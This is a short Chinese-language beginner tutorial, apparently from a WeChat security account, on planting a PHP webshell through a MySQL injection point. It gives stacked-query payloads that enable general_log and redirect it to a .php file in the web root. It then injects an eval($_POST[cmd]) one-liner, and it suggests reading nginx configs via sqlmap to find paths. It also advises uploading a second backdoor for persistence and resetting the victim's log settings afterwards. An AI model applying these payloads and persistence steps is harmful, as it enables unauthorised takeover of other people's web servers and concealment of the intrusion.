首先声明:如果有过滤,有waf,请百度,如果绕过!本篇只为新手写一个过程。
看了下百度上关于SQL日志写shell,全都是上来就SET 查日志、开日志、指定目录。那么怎么通过注入点去日志里写shell呢?如果是前台注入点,一般需要使用union的堆叠注入来写入shell,因为像单纯的and or union只能来做一些查询,并不能执行其他语句。
那么怎么写呢?
admin' UNION select 1,2; SET GLOBAL general_log='on'
可以看到,我们的开启日志语句也进行了执行,然后我们来看下结果
可以看到日志功能被成功的打开了。
然后我们来指定一个用于记录日志的文件,如果这个文件不存在,会创建这个文件,需要可写权限。
这里需要绝对路径,这个路径怎么得到呢,我们首先需要知道中间件是什么,然后可以通过sql注入的读取来读取一些中间件的配置文件,来获取绝对路径,比如sqlmap的--file-read去读取nginx的配置文件,如果在这里面没看到的话,还有一种可能,那就是”/usr/local/nginx/conf/vhost/网站域名.conf“这个位置。
然后我们来指定日志文件:
admin' UNION SELECT 1,2;set global general_log_file = '/Applications/phpstudy/www/123.php';
可以看到目录下生成了123.php
然后这个文件里会记录所有的sql语句,我们只需要执行语句即可,后面的select一定要加括号,不然可能因为前面有select *这样的泛解析,导致第二条语句不能执行报错。
admin' and select (' eval($_POST[cmd]);');
然后去查看我们的日志文件:
然后可以看到文件里已经存在了一句话木马,并且为php文件,只需要根据你的绝对路径去链接shell即可,连接上以后我们一定要再上传一个一句话木马,防止这个被干掉,还需要做一件事就是把人家的日志路径给修改回去,还有关闭日志!不然业务查询量较大的话,你这个马会慢的要死!
好了~很简单的结束。
往期精彩:
点个在看你最好看
本文始发于微信公众号(Qingy之安全):【新手篇】注入点通过SQL日志写shell
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论